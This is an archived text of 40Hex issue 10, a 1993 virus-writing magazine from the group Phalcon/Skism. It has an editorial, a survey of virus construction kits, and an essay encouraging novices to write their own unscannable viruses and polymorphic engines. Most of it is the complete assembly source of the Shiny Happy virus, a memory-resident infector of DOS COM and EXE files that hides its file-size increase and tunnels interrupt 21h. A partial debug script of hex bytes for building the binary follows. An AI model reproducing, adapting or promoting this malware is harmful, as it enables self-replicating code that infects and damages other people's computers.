home *** CD-ROM | disk | FTP | other *** search
/ Amiga ISO Collection / AmigaDemoCD1.iso / DEMOS / 40hex010.lha / 40hex010
Encoding:
Text File  |  1995-03-29  |  162.2 KB  |  3,936 lines
  1. 40Hex Issue 10 Volume 3 Number 1                                      File 000
  2.  
  3.     Welcome back to yet another issue of 40Hex, Phalcon/Skism's magazine chock
  4.     full of virus writing techniques, news, source code, and related info.
  5.  
  6.     First off, Phalcon/Skism welcomes its newest member, FirstStrike.  We have
  7.     watched him grow from humble beginnings and are confident that he will
  8.     continue to produce quality viruses in the future.
  9.  
  10.     We will, beginning with this issue, be phasing out the debug scripts in
  11.     40Hex.  Although many people find them useful, we feel that source code is
  12.     more interesting and worthwhile.  The disassemblies are almost always done
  13.     by Dark Angel, who advises those with difficulty understanding some parts
  14.     of the disassemblies to first skim the entire disassembly to learn how the
  15.     virus works.  Some portions, he continues, are not commented because their
  16.     functions are self-evident and the label names reflect their respective
  17.     purposes.
  18.  
  19.     In the spirit of friendly competition, we have, in this issue, the Ontario
  20.     3 virus written by Death Angel of YAM.  While on the topic of YAM, we find
  21.     it immensely amusing that they continue to adamantly state on FidoNet and
  22.     elsewhere that the IVP was not a mere hack of PS-MPC.  Ok, it was a rewrite
  23.     in Pascal, but the only significant changes were in the labels; even the
  24.     comments were remarkably familiar. Please cease this farce; you are fooling
  25.     nobody.
  26.  
  27.  
  28.                      40Hex-10 Table of Contents
  29.                            March 13, 1993
  30.  
  31.                 File                            Description
  32.                 0000............................You are here
  33.                 0001............................Virus creation aids
  34.                 0002............................Phalcon/Skism Shiny Happy virus
  35.                 0003............................RNA virus source code
  36.                 0004............................ARCV Busted
  37.                 0005............................Green Caterpillar Debug Script
  38.                 0006............................Virus Spotlite: Bad Boy 2
  39.                 0007............................A Case Against Encryption
  40.                 0008............................Ontario 3 source code
  41.                 0009............................40Hex Survey
  42.  
  43.     Greets to: NuKE, The Attitude Adjuster, and all virus enthusiasts around
  44.                the world.
  45.  
  46.     Goodbye & best wishes to : Apache Warrior, ICE-9, and the rest of the ARCV.
  47.  
  48.                                         -)Gheap
  49. 40Hex Issue 10 Volume 3 Number 1                                      File 001
  50.  
  51. The following is a cursory examination of virus construction toolkits.
  52. While hardly comprehensive, it includes the basic elements of each
  53. toolkit described.  For further information, consult appendix A of
  54. the Phalcon/Skism G² code generator.
  55. ---------------------------------------------------------------------------
  56.  VIRUS CONSTRUCTION KITS, Revision 2.0  13 February 1993
  57.  
  58. Virus construction kits are  computer  programs  which  allow people
  59. with little or no programming experience to  produce new variants of
  60. computer viruses.
  61.  
  62. Two popular methods are used in  virus construction kits.  The first
  63. uses a menu driven user interface where the user is  lead through  a
  64. series of menus where he 'designs' the replication method, infection
  65. criteria  and  payload (what the virus does  when it activates). The
  66. second method uses  a skeleton  configuration  file  (ASCII  file in
  67. which virus configurations are placed) and  running a 'generator' to
  68. produce the virus.
  69.  
  70. There is an  important  factor  to  consider. First generation virus
  71. construction kits only produce assembled or compiled viruses without
  72. source  code. Second  generation  kits  produce  virus  source  code
  73. (sometimes even  commented) that can be changed and assembled by the
  74. user. The danger in second generation kits is that someone with very
  75. limited  programming  experience  can   potentially  produce  a  new
  76. computer virus without knowing anything about  the internal workings
  77. of a virus.
  78.  
  79. I would like to  stress that because virus construction kits to date
  80. use  a fair amount  of constant code (instructions),  they  pose  no
  81. threat  to  standard  virus  detection  techniques.  However, should
  82. future kits make use of  mutation  engine principles, this situation
  83. could change.
  84.  
  85.  
  86.  
  87. The following are descriptions of  virus construction kits  to date.
  88. This is a factual description as the author has access to all of the
  89. kits listed below :
  90.  
  91.  
  92. GENVIR
  93.  
  94. GENVIR was the first attempt to release a  virus construction kit for
  95. profit.  It is a  first  generation  virus construction  kit  which a
  96. menu-driven interface. GENVIR is a French program  written in 1990 by
  97. J.Struss  of Lochwiller, France. It is a  'Crippleware' program  that
  98. lets you go through  all the  motions of creating  a virus, but stops
  99. short of the compilation stage. To  receive a  working copy, one must
  100. license the software  for a fee of 120 Frances. The latest version is
  101. 1.0 and it is believed that GENVIR was never released as a functional
  102. virus construction kit.
  103.  
  104.  
  105. VCS (Virus Construction Set)
  106.  
  107. VCS is a first generation virus kit written in 1991 by a German group
  108. called  VDV  (Verband  Deutscher Virenliebhaber). VCS is a  primitive
  109. program that requires a text file  of  maximum  512  bytes length and
  110. incorporates this text into  a simple .COM file virus infector. After
  111. a specified number  of replications, the  virus will display the text
  112. message and delete AUTOEXEC.BAT and CONFIG.SYS. The latest release is
  113. version 1.0. The program text is in German,although there is a hacked
  114. version in English.
  115.  
  116.  
  117. VCL (Virus Construction Laboratory)
  118.  
  119. VCL is a complex, second generation, menu  driven  virus construction
  120. kit  written in  1992  by  Nowhere  Man  and  [NuKE] WaReZ. It allows
  121. multiple, user selectable modules to be incorporated into the  virus,
  122. together with the option of creating commented ASM (assembler) source
  123. code files that can be manually modified. The danger with this option
  124. is that a virus writer can create the  virus  kernel (without knowing
  125. much about  the  internal workings of viruses) using VCL and then add
  126. his own,custom code into the virus.The latest release is version 1.0.
  127.  
  128.  
  129. PS-MPC (Phalcon / Skism - Mass Produced Code Generator)
  130.  
  131. PS-MPC is a second generation virus construction kit, written by Dark
  132. Angel in July 1992. It is based heavily on the VCL virus construction
  133. kit. It  was  distributed  including  source  code in the C language.
  134. Although it is not  menu driven, (it uses a user  definable  skeleton
  135. configuration file to produce viruses) it creates more compact,neater
  136. commented ASM source code than VCL does. Two versions exist,the first
  137. being version 0.90beta  released  together with 40Hex (an underground
  138. electronic magazine) on 7 July 1992, and version 0.91beta released on
  139. 17 August 1992.  According to the  history  file in this release, the
  140. following as been added to the second release : a) rudimentary memory
  141. resident viruses may  be  created, b) improved optimization  of code,
  142. c) fixed minor quirks and d) got rid of "unsigned  char" requirement.
  143.  
  144.  
  145. IVP (Instant Virus Production Kit)
  146.  
  147. IVP is a second generation virus construction kit, written in 1992 by
  148. Admiral Bailey a  member  of  the  YAM  (Youngsters  Against  McAfee)
  149. underground group. According to the documentation, it was  written in
  150. Turbo Pascal version 7.0. IVP  uses a skeleton configuration approach
  151. and produces commented  source code. It  was the following features :
  152. a) .EXE  and .COM file infection,  b) Trojan  support,  c)  Directory
  153. changing, d) encryption, e) error handling, f) COMMAND.COM infection,
  154. g) overwriting option and h) random nop generator. The latest release
  155. is version 1.0.
  156.  
  157.  
  158. G2 (G Squared)
  159.  
  160. G2 is a  second generation virus construction kit, written in 1993 by
  161. Dark Angel of the Phalcon/Skism underground group.(Dark Angel is also
  162. the author of the PS-MPC virus construction  kit). This kit makes use
  163. of the skeleton configuration approach  and produces commented source
  164. code.   According  to   Dark  Angel's  documentation,  G2  is  not  a
  165. modification of the Phalcon/Skism PS-MPC kit, but a complete rewrite.
  166. It  differs from other  virus construction kits in  that it  produces
  167. easily upgradable and semi-polymorphic routines.  The  latest release
  168. is version 0.70beta, dated January 1, 1993.
  169.  
  170.  
  171.  
  172. Oliver Steudler, DYNAMIC SOLUTIONS
  173. Authorized McAfee Associates Anti Virus Agent
  174. Mail       : P.O.Box 4397, Cape Town, 8000, South Africa
  175. Internet   : Oliver.Steudler@f110.n7102.z5.fidonet.ORG
  176.              or 100075.0200@compuserve.COM
  177. Fidonet    : 5:7102/110
  178. CompuServe : 100075,0200
  179. Phone      : +27 (21) 24-9504 (GMT +2)
  180. Fax        : +27 (21) 26-1911
  181. BBS:       : +27 (21) 24-2208 [1200-14,400 bps]
  182. ---------------------------------------------------------------------------
  183. Virus construction tools are cropping up at the rate of one roughly every
  184. two months.  Additionally, new polymorphic "engines" such as the MtE, TPE,
  185. etc. are begining to emerge.  But how real is the threat from viruses
  186. generated with such tools and has this threat been exaggerated by the
  187. media?
  188.  
  189. The discussion will center on the so-called "second generation" toolkits.
  190. Perhaps the most prolific of these is Nowhere Man's VCL.  It has the most
  191. attractive interface of all the recent virus development tools and allows for
  192. a variety of activation routines; something which has been conspicuously
  193. absent from the Phalcon/Skism code generators.  However, VCL is also perhaps
  194. the least dangerous of all the toolkits, hampered by the dependance upon only
  195. one encryption/decryption routine and single, constant code base.  YAM's IVP
  196. ameliorates the problem, albeit in a highly limited and somewhat useless
  197. fashion, with the random NOP placement.  Of course, its code is based heavily
  198. upon the PS-MPC, which is also nonrandom, so it, too, is hampered.  The
  199. PS-MPC, as mentioned earlier, has but a single code base.  In short, these
  200. three toolkits are of limited utility in terms of creating nonscannable
  201. viruses "out of the box."  The generated code typically needs to be modified
  202. for the viruses to be unscannable.
  203.  
  204. So perhaps the solution lies in relying not upon a single code base, but
  205. multiple code bases and allowing for random (not the same as haphazard)
  206. placement of individual lines of code.  This is the approach of G².  G²
  207. allows for multiple code packages which accomplish a certain goal.  The
  208. program selects one of the packages for inclusion in a given virus.  In
  209. this manner, variability may be ensured.  G² further allows for the order
  210. of statements to be scrambled in the source file.  However, all G² viruses
  211. share the same structure as well as having certain bits of code in common.
  212. So, while an improvement, it is hardly the final step in the evolution of
  213. virus creation toolkits.  G² could become much more powerful with multiple
  214. virus structures as well as improved code packages.
  215.  
  216. The article above suggested that the toolkits would be much more powerful
  217. should they incorporate "mutation engine principles."  In other words, the
  218. toolkits should be able to mutate the generated code.  The IVP currently
  219. uses such an approach, albeit only with simple NOPs liberally scattered in the
  220. decryption and delta offset calculation routines.  Such code, however, should
  221. not be a goal of the authors of such toolkits.  It is simply not appropriate
  222. for a virus creator to function in such a manner.  A virus toolkit which
  223. simply spews out the same code in various forms is merely an overblown hack
  224. generator.  Toolkits exist as _aids_ in writing a virus, not as replacements.
  225. Surely including such mutation routines would result in larger viruses as well
  226. as illegible code.  A novice utilising the toolkit would not be able to learn
  227. from such unoptimised code.  Tight code which doesn't sacrifice legibility
  228. should always be the goal of virus generators.
  229.  
  230. Another aid in writing viruses is the "encryptor-in-a-box," a product such
  231. as MtE or TPE.  Such modules allow all viruses to incorporate polymorphic
  232. routines.  Yet how dangerous are such polymorphers?  As they currently exist,
  233. they pose very little threat.  Scanners have adapted not only to catch current
  234. MtE-using viruses reliably, but also to find new viruses which use decryptors
  235. created with MtE.  Certainly the TPE and any new polymorphic routines will meet
  236. the same fate.  Constant revisions of these engines, while being temporary
  237. solutions, remain just that: temporary.  Once the anti-virus industry receives
  238. a copy of the new version, the engine is once again useless.
  239.  
  240. The virus community should look beyond such "easy fixes" as virus creation
  241. toolkits and polymorphic "engines."  The simplest way to get a nonscannable
  242. virus is to write it yourself.  Not only is there the benefit of satisfaction
  243. with the work, but you gain expertise and intimate understanding of both
  244. viruses and the operating system.  Such knowledge comes only with writing
  245. several viruses on your own.  The best way for a beginner to learn how to
  246. write viruses is to figure it out on his own _without_ any examples.  Once a
  247. virus has been written in this manner, then it is appropriate to look at
  248. current virus samples to find out the various tried and true techniques.
  249.  
  250. But polymorphic engines are difficult to write, the novice virus writer
  251. protests; using MtE will vastly improve the virus.  Rubbish.  Firstly, it is
  252. a fact that scanners will be able to detect the virus, be it encrypted with a
  253. simple XOR loop or with MtE.  Writing your own encryption will be far better
  254. in terms of learning.  Secondly, polymorphic engines are _not_ terribly
  255. difficult to create.  A few hours of thinking will be sufficient to lay down
  256. the framework of a polymorphic engine.  An additional few days is enough for
  257. coding.  Even the MtE and TPE, while requiring bit-level knowledge of the
  258. opcodes, could have been written by a person with only a few years of
  259. experience programming assembly.  The advantages of writing your own
  260. polymorphic engine are obvious; anti-virus developers will have to spend much
  261. time (and space in their products) analysing and developing scanners for each
  262. individual engine; and simply adding a few extra garbling instructions should
  263. be sufficient to throw these scanners off in a future virus.
  264.  
  265. So what purpose do these tools serve?  The ultimate aim of those producing the
  266. virus creation tools should be not to enable people to go around creating new,
  267. unscannable viruses and trashing every hard drive in the world, but to allow
  268. novices to break into the field of virus writing.  It is not difficult to
  269. write a virus, but these tools certainly ease the initial pain.  Polymorphic
  270. engines are useful as examples for your own polymorphic routines.
  271.  
  272. I encourage all novice programmers to pick up a copy of Phalcon/Skism's G² and
  273. VCL, the two most prolific code generation toolkits.  Run them a few times with
  274. various parameters and analyse the code carefully.  Print out the code and look
  275. it over.  The basic principles of virus creation will be apparent after some
  276. inspection.  Learn from it and then sit down and write your own virus from
  277. scratch.
  278.  
  279.                                         Dark Angel
  280.                                         Phalcon/Skism 1993
  281. 40Hex Issue 10 Volume 3 Number 1                                      File 002
  282.  
  283.                         The Phalcon/Skism Shiny Happy Virus
  284.  
  285.         This virus was written jointly by Dark Angel and Hellraiser about six
  286. months ago.  It is a simple semi-stealth virus that doesn't actually replace
  287. interrupt 21h's vector in the interrupt table.  Instead, it finds the DOS
  288. interrupt 21h entry point and encodes an int 3 as the first byte. Consequently,
  289. it is highly debugger-resistant.  It also hides the file size increase, albeit
  290. only in DOS directory listings.  This way, it avoids the CHKDSK cross-linking
  291. errors common to viruses hooking FCB find first/next.  The virus infects upon
  292. file executions.  A debug script follows the source code.  As always, type
  293. "DEBUG < DEBUG.SCR > NUL" to create the virus from the debug script.
  294.  
  295.         The virus always activates, hooking the keyboard interrupt.  When it
  296. detects a happy face (emoticon), the virus changes it to a frown.  The Shiny
  297. Happy residency test follows:
  298.  
  299. Run the cursor across the following line:
  300.         :-)     =)      \|-)    ;)      :*)
  301. If any of the faces changed to frowns, then Shiny Happy is loose on your
  302. system.
  303.  
  304.                                         -)Gheap
  305.  
  306. -------------------------------------------------------------------------------
  307. ; The Shiny Happy Virus
  308. ; By Hellraiser and Dark Angel of Phalcon/Skism
  309.  
  310.         .model  tiny
  311.         .code
  312.  
  313. id      =       '52'
  314. timeid  =       18h
  315.  
  316. shiny:
  317.         call    next
  318. next:   pop     bp
  319.  
  320.         push    ds
  321.         push    es
  322.  
  323.         xor     di,di
  324.         mov     ds,di
  325.         cmp     word ptr ds:[1*4],offset int1_2 ; installation check
  326.         jz      return
  327.  
  328.         mov     ax,es
  329.         dec     ax
  330.         sub     word ptr ds:[413h],(endheap-shiny+1023)/1024
  331.         mov     ds,ax
  332.         sub     word ptr ds:[3],((endheap-shiny+1023)/1024)*64
  333.         sub     word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
  334.         mov     es,word ptr ds:[12h]
  335.  
  336.         push    cs
  337.         pop     ds
  338.  
  339.         lea     si,[bp+shiny-next]
  340.         mov     cx,(endheap-shiny+1)/2
  341.         rep     movsw
  342.  
  343.         push    cs
  344.         lea     ax,[bp+return-next]
  345.         push    ax
  346.  
  347.         push    es
  348.         mov     ax,offset highentry
  349.         push    ax
  350.         retf
  351.  
  352. return:
  353.         cmp     sp,id-4
  354.         jz      returnEXE
  355. returnCOM:
  356.         pop     es
  357.         pop     ds
  358.         mov     di,100h
  359.         push    di
  360.         lea     si,[bp+offset save3-next]
  361.         movsw
  362.         movsb
  363.         retn
  364.  
  365. returnEXE:
  366.         pop     es
  367.         pop     ds
  368.         mov     ax,es
  369.         add     ax,10h
  370.         add     word ptr cs:[bp+origCSIP+2-next],ax
  371.         cli
  372.         add     ax,word ptr cs:[bp+origSPSS-next]
  373.         mov     ss,ax
  374.         mov     sp,word ptr cs:[bp+origSPSS+2-next]
  375.         sti
  376.         db      0eah
  377. origCSIP db     ?
  378. save3    db    0cdh,20h,0
  379. origSPSS dd     ?
  380.  
  381. highentry:
  382.         mov     cs:in21flag,0
  383.  
  384.         xor     ax,ax
  385.         mov     ds,ax
  386.  
  387.         les     ax,ds:[9*4]
  388.         mov     word ptr cs:oldint9,ax
  389.         mov     word ptr cs:oldint9+2,es
  390.  
  391.         mov     ds:[9*4],offset int9
  392.         mov     ds:[9*4+2],cs
  393.  
  394.         les     ax,ds:[21h*4]
  395.         mov     word ptr cs:oldint21,ax
  396.         mov     word ptr cs:oldint21+2,es
  397.  
  398.         mov     word ptr ds:[1*4],offset int1
  399.         mov     ds:[1*4+2],cs
  400.  
  401.         mov     ah, 52h
  402.         int     21h
  403.         mov     ax,es:[bx-2]
  404.         mov     word ptr cs:tunnel21+2, ax
  405.         mov     word ptr cs:dosseg_, es
  406.  
  407.         pushf
  408.         pop     ax
  409.         or      ah,1
  410.         push    ax
  411.         popf
  412.  
  413.         mov     ah,0bh
  414.         pushf
  415.         db      09Ah
  416. oldint21 dd     ?
  417.  
  418.         mov     word ptr ds:[3*4],offset int3
  419.         mov     ds:[3*4+2],cs
  420.         mov     word ptr ds:[1*4],offset int1_2
  421.  
  422.         les     bx,cs:tunnel21
  423.         mov     al,0CCh
  424.         xchg    al,byte ptr es:[bx]
  425.         mov     byte ptr cs:save1,al
  426.         retf
  427.  
  428. authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0
  429.  
  430. int1:   push    bp
  431.         mov     bp,sp
  432.         push    ax
  433.  
  434.         mov     ax, [bp+4]
  435.         cmp     ax,word ptr cs:tunnel21+2
  436.         jb      foundint21
  437.         db      3dh     ; cmp ax, xxxx
  438. dosseg_ dw      ?
  439.         ja      exitint1
  440. foundint21:
  441.         mov     word ptr cs:tunnel21+2,ax
  442.         mov     ax,[bp+2]
  443.         mov     word ptr cs:tunnel21,ax
  444.         and     byte ptr [bp+7], 0FEh
  445. exitint1:
  446.         pop     ax
  447.         pop     bp
  448.         iret
  449.  
  450. int1_2: push    bp
  451.         mov     bp,sp
  452.         push    ax
  453.  
  454.         mov     ax, [bp+4]
  455.         cmp     ax,word ptr cs:tunnel21+2
  456.         ja      exitint1_2
  457.         mov     ax, [bp+2]
  458.         cmp     ax,word ptr cs:tunnel21
  459.         jbe     exitint1_2
  460.  
  461.         push    ds
  462.         push    bx
  463.         lds     bx,cs:tunnel21
  464.         mov     byte ptr ds:[bx],0CCh
  465.         pop     bx
  466.         pop     ds
  467.  
  468.         and     byte ptr [bp+7],0FEh
  469. exitint1_2:
  470.         pop     ax
  471.         pop     bp
  472.         iret
  473.  
  474. infect_others:
  475.         mov     ax,4301h
  476.         push    ax
  477.         push    ds
  478.         push    dx
  479.         xor     cx,cx
  480.         call    callint21
  481.  
  482.         mov     ax,3d02h
  483.         call    callint21
  484.         xchg    ax,bx
  485.  
  486.         mov     ax,5700h
  487.         call    callint21
  488.         push    cx
  489.         push    dx
  490.  
  491.         mov     ah,3fh
  492.         mov     cx,1ah
  493.         push    cs
  494.         pop     ds
  495.         push    cs
  496.         pop     es
  497.         mov     dx,offset readbuffer
  498.         call    callint21
  499.  
  500.         mov     ax,4202h
  501.         xor     cx,cx
  502.         cwd
  503.         int     21h
  504.  
  505.         mov     si,offset readbuffer
  506.         cmp     word ptr [si],'ZM'
  507.         jnz     checkCOM
  508. checkEXE:
  509.         cmp     word ptr [si+10h],id
  510.         jz      goalreadyinfected
  511.  
  512.         mov     di, offset OrigCSIP
  513.         mov     si, offset readbuffer+14h
  514.         movsw
  515.         movsw
  516.  
  517.         sub     si, 18h-0eh
  518.         movsw
  519.         movsw
  520.  
  521.         push    bx
  522.         mov     bx, word ptr readbuffer + 8
  523.         mov     cl, 4
  524.         shl     bx, cl
  525.  
  526.         push    dx
  527.         push    ax
  528.  
  529.         sub     ax, bx
  530.         sbb     dx, 0
  531.  
  532.         mov     cx, 10h
  533.         div     cx
  534.  
  535.         mov     word ptr readbuffer+14h, dx
  536.         mov     word ptr readbuffer+16h, ax
  537.  
  538.         mov     word ptr readbuffer+0Eh, ax
  539.         mov     word ptr readbuffer+10h, id
  540.  
  541.         pop     ax
  542.         pop     dx
  543.         pop     bx
  544.  
  545.         add     ax, heap-shiny
  546.         adc     dx, 0
  547.  
  548.         mov     cl, 9
  549.         push    ax
  550.         shr     ax, cl
  551.         ror     dx, cl
  552.         stc
  553.         adc     dx, ax
  554.         pop     ax
  555.         and     ah, 1
  556.  
  557.         mov     word ptr readbuffer+4, dx
  558.         mov     word ptr readbuffer+2, ax
  559.  
  560.         mov     cx,1ah
  561.         jmp     short finishinfection
  562. checkCOM:
  563.         xchg    cx,ax
  564.         sub     cx,heap-shiny+3
  565.         cmp     cx,word ptr [si+1]
  566. goalreadyinfected:
  567.         jz      alreadyinfected
  568.         add     cx,heap-shiny
  569.  
  570.         push    si
  571.         mov     di,offset save3
  572.         movsw
  573.         movsb
  574.         pop     di
  575.         mov     al,0e9h
  576.         stosb
  577.         mov     ax,3    ; cx holds bytes to write
  578.         xchg    ax,cx
  579.         stosw
  580. finishinfection:
  581.         push    cx
  582.  
  583.         mov     ah,40h
  584.         mov     cx,heap-shiny
  585.         cwd ; xor dx,dx
  586.         call    callint21
  587.  
  588.         mov     ax,4200h
  589.         xor     cx,cx
  590.         cwd
  591.         int     21h
  592.  
  593.         mov     ah,40h
  594.         pop     cx
  595.         mov     dx,offset readbuffer
  596.         call    callint21
  597.  
  598.         mov     ax,5701h
  599.         pop     dx
  600.         pop     cx
  601.         and     cl,0E0h
  602.         or      cl,timeid
  603.         call    callint21
  604.         jmp     doneinfect
  605.  
  606. alreadyinfected:
  607.         pop     ax
  608.         pop     ax
  609. doneinfect:
  610.         mov     ah,3eh
  611.         call    callint21
  612.  
  613.         pop     dx
  614.         pop     ds
  615.         pop     ax
  616.         pop     cx
  617.         call    callint21
  618. exitexecute:
  619.         pop     es
  620.         pop     ds
  621.         pop     di
  622.         pop     si
  623.         pop     dx
  624.         pop     cx
  625.         pop     bx
  626.         pop     ax
  627.         popf
  628.  
  629.         jmp     exitint21
  630.  
  631. execute:
  632.         pushf
  633.         push    ax
  634.         push    bx
  635.         push    cx
  636.         push    dx
  637.         push    si
  638.         push    di
  639.         push    ds
  640.         push    es
  641.  
  642.         cld
  643.  
  644.         mov     ax,4300h
  645.         call    callint21
  646.         jc      exitexecute
  647.         push    cx
  648.  
  649.         jmp     infect_others
  650.  
  651. int3:
  652.         push    bp
  653.         mov     bp,sp
  654.  
  655.         cmp     cs:in21flag,0
  656.         jnz     leaveint21
  657.  
  658.         inc     cs:in21flag
  659.  
  660.         cmp     ah,11h
  661.         jz      findfirstnext
  662.         cmp     ah,12h
  663.         jz      findfirstnext
  664.         cmp     ax,4b00h
  665.         jz      execute
  666.  
  667. exitint21:
  668.         dec     cs:in21flag
  669. leaveint21:
  670.         or      byte ptr [bp+7],1       ; set trap flag upon return
  671.         dec     word ptr [bp+2]         ; decrement offset
  672.         call    restoreint21
  673.         pop     bp
  674.         iret
  675.  
  676. callint21:
  677.         pushf
  678.         call    dword ptr cs:tunnel21
  679.         ret
  680.  
  681. restoreint21:
  682.         push    ds
  683.         push    ax
  684.         push    bx
  685.  
  686.         lds     bx,cs:tunnel21
  687.         mov     al,byte ptr cs:save1
  688.         mov     ds:[bx],al
  689.  
  690.         pop     bx
  691.         pop     ax
  692.         pop     ds
  693.  
  694.         ret
  695.  
  696. findfirstnext:
  697.         int     21h     ; pre-chain interrupt
  698.  
  699. ; flags   [bp+12]
  700. ; segment [bp+10]
  701. ; offset  [bp+8]
  702. ; flags   [bp+6]
  703. ; segment [bp+4]
  704. ; offset  [bp+2]
  705. ; bp      [bp]
  706.         pushf           ; save results
  707.         pop     [bp+6+6]
  708.         pop     bp
  709.  
  710.         push    ax
  711.         push    bx
  712.         push    ds
  713.         push    es
  714.  
  715.         inc     al
  716.         jz      notDOS
  717.  
  718.         mov     ah,51h          ; Get active PSP
  719.         int     21h
  720.         mov     es,bx
  721.         cmp     bx,es:[16h]     ; DOS calling it?
  722.         jne     notDOS
  723.  
  724.         mov     ah,2fh  ; DTA -> ES:BX
  725.         int     21h
  726.         push    es
  727.         pop     ds
  728.  
  729.         cmp     byte ptr [bx],0FFh
  730.         jnz     regularFCB
  731.         add     bx,7
  732. regularFCB:
  733.         cmp     word ptr [bx+9],'OC'
  734.         jz      checkinf
  735.         cmp     word ptr [bx+9],'XE'
  736.         jnz     notDOS
  737. checkinf:
  738.         mov     al,byte ptr [bx+23]
  739.         and     al,1Fh
  740.  
  741.         cmp     al,timeid
  742.         jnz     notDOS
  743. subtract:
  744.         sub     word ptr [bx+29],heap-shiny
  745.         sbb     word ptr [bx+31],0
  746. notDOS:
  747.         pop     es
  748.         pop     ds
  749.         pop     bx
  750.         pop     ax
  751.  
  752.         dec     cs:in21flag
  753.  
  754.         cli
  755.         add     sp,6
  756.         iret
  757.  
  758. int9:
  759.         pushf                           ; save flags, regs, etc...
  760.         push    ax
  761.         push    bx
  762.         push    cx
  763.         push    dx
  764.  
  765.         xor     bx,bx
  766.         mov     ah,0fh                  ; get video mode
  767.         int     10h
  768.  
  769.         mov     ah,03h                  ; get curs pos
  770.         int     10h
  771.  
  772.         call    getattrib
  773.         cmp     al,')'                  ; happy??
  774.         jne     audi5000                ; no
  775.  
  776.         mov     cs:eyesflag,0
  777. beforeloveshack:
  778.         call    getattrib               ; see if there is a nose
  779. loveshack:
  780.         cmp     al,':'                  ; shiny???
  781.         je      realeyes
  782.  
  783.         cmp     al,'='                  ; check for even =)
  784.         je      realeyes
  785.  
  786.         cmp     al,'|'
  787.         je      realeyes
  788.  
  789.         cmp     al,';'
  790.         je      realeyes
  791.  
  792.         cmp     cs:eyesflag,0
  793.         jnz     audi5001
  794.         cmp     al,'('
  795.         jz      audi5001
  796.         inc     cs:eyesflag
  797.         inc     bl
  798.         jmp     short beforeloveshack
  799.  
  800. realeyes:
  801.         stc
  802.         adc     dl,bl                   ; add extra backspace if so
  803.  
  804.         mov     ah,02h
  805.         int     10h
  806.  
  807.         mov     ax,0a28h   ; 0ah, '('   ; write frown
  808.         mov     cx,1
  809.         int     10h
  810.  
  811.         jmp     audi5000
  812. audi5001:
  813.         stc
  814.         adc     dl,bl
  815. audi5000:
  816.         inc     dl                      ; set curs pos
  817.         mov     ah,02h
  818.         int     10h
  819.  
  820.         pop     dx                      ; restore all stuff
  821.         pop     cx
  822.         pop     bx
  823.         pop     ax
  824.         popf
  825.  
  826.         db      0eah
  827. oldint9 dd      ?
  828.  
  829. ; reads the char at the current cursorpos - 1
  830.  
  831. getattrib:
  832.         dec     dl                      ; set curs pos
  833.         mov     ah,02h
  834.         int     10h
  835.  
  836.         mov     ah,08h                  ; get char at curs
  837.         int     10h
  838.  
  839.         ret
  840.  
  841. heap:
  842. save1    db     ?
  843. tunnel21 dd     ?
  844. in21flag db     ?
  845. eyesflag db     ?
  846. readbuffer db   1ah dup (?)
  847. endheap:
  848. end  shiny
  849. -------------------------------------------------------------------------------
  850. n shiny.com
  851. e 0100  E8 00 00 5D 1E 06 33 FF 8E DF 81 3E 04 00 4D 01 
  852. e 0110  74 2D 8C C0 48 83 2E 13 04 01 8E D8 83 2E 03 00 
  853. e 0120  40 83 2E 12 00 40 8E 06 12 00 0E 1F 8D 76 FD B9 
  854. e 0130  DD 01 F3 A5 0E 8D 46 3C 50 06 B8 71 00 50 CB 81 
  855. e 0140  FC 2E 35 74 0C 07 1F BF 00 01 57 8D 76 67 A5 A4 
  856. e 0150  C3 07 1F 8C C0 05 10 00 2E 01 46 68 FA 2E 03 46 
  857. e 0160  6A 8E D0 2E 8B 66 6C FB EA 00 CD 20 00 00 00 00 
  858. e 0170  00 2E C6 06 9E 03 00 33 C0 8E D8 C4 06 24 00 2E 
  859. e 0180  A3 8A 03 2E 8C 06 8C 03 C7 06 24 00 26 03 8C 0E 
  860. e 0190  26 00 C4 06 84 00 2E A3 C5 00 2E 8C 06 C7 00 C7 
  861. e 01A0  06 04 00 28 01 8C 0E 06 00 B4 52 CD 21 26 8B 47 
  862. e 01B0  FE 2E A3 9C 03 2E 8C 06 37 01 9C 58 80 CC 01 50 
  863. e 01C0  9D B4 0B 9C 9A 00 00 00 00 C7 06 0C 00 85 02 8C 
  864. e 01D0  0E 0E 00 C7 06 04 00 4D 01 2E C4 1E 9A 03 B0 CC 
  865. e 01E0  26 86 07 2E A2 99 03 CB 53 68 69 6E 79 20 48 61 
  866. e 01F0  70 70 79 20 56 69 72 75 73 20 62 79 20 48 65 6C 
  867. e 0200  6C 72 61 69 73 65 72 20 61 6E 64 20 44 61 72 6B 
  868. e 0210  20 41 6E 67 65 6C 20 6F 66 20 50 68 61 6C 63 6F 
  869. e 0220  6E 2F 53 6B 69 73 6D 00 55 8B EC 50 8B 46 04 2E 
  870. e 0230  3B 06 9C 03 72 05 3D 00 00 77 0F 2E A3 9C 03 8B 
  871. e 0240  46 02 2E A3 9A 03 80 66 07 FE 58 5D CF 55 8B EC 
  872. e 0250  50 8B 46 04 2E 3B 06 9C 03 77 1A 8B 46 02 2E 3B 
  873. e 0260  06 9A 03 76 10 1E 53 2E C5 1E 9A 03 C6 07 CC 5B 
  874. e 0270  1F 80 66 07 FE 58 5D CF B8 01 43 50 1E 52 33 C9 
  875. e 0280  E8 32 01 B8 02 3D E8 2C 01 93 B8 00 57 E8 25 01 
  876. e 0290  51 52 B4 3F B9 1A 00 0E 1F 0E 07 BA A0 03 E8 14 
  877. e 02A0  01 B8 02 42 33 C9 99 CD 21 BE A0 03 81 3C 4D 5A 
  878. e 02B0  75 5C 81 7C 10 32 35 74 5D BF 69 00 BE B4 03 A5 
  879. e 02C0  A5 83 EE 0A A5 A5 53 8B 1E A8 03 B1 04 D3 E3 52 
  880. e 02D0  50 2B C3 83 DA 00 B9 10 00 F7 F1 89 16 B4 03 A3 
  881. e 02E0  B6 03 A3 AE 03 C7 06 B0 03 32 35 58 5A 5B 05 99 
  882. e 02F0  03 83 D2 00 B1 09 50 D3 E8 D3 CA F9 13 D0 58 80 
  883. e 0300  E4 01 89 16 A4 03 A3 A2 03 B9 1A 00 EB 1D 91 81 
  884. e 0310  E9 9C 03 3B 4C 01 74 3E 81 C1 99 03 56 BF 6A 00 
  885. e 0320  A5 A4 5F B0 E9 AA B8 03 00 91 AB 51 B4 40 B9 99 
  886. e 0330  03 99 E8 80 00 B8 00 42 33 C9 99 CD 21 B4 40 59 
  887. e 0340  BA A0 03 E8 6F 00 B8 01 57 5A 59 80 E1 E0 80 C9 
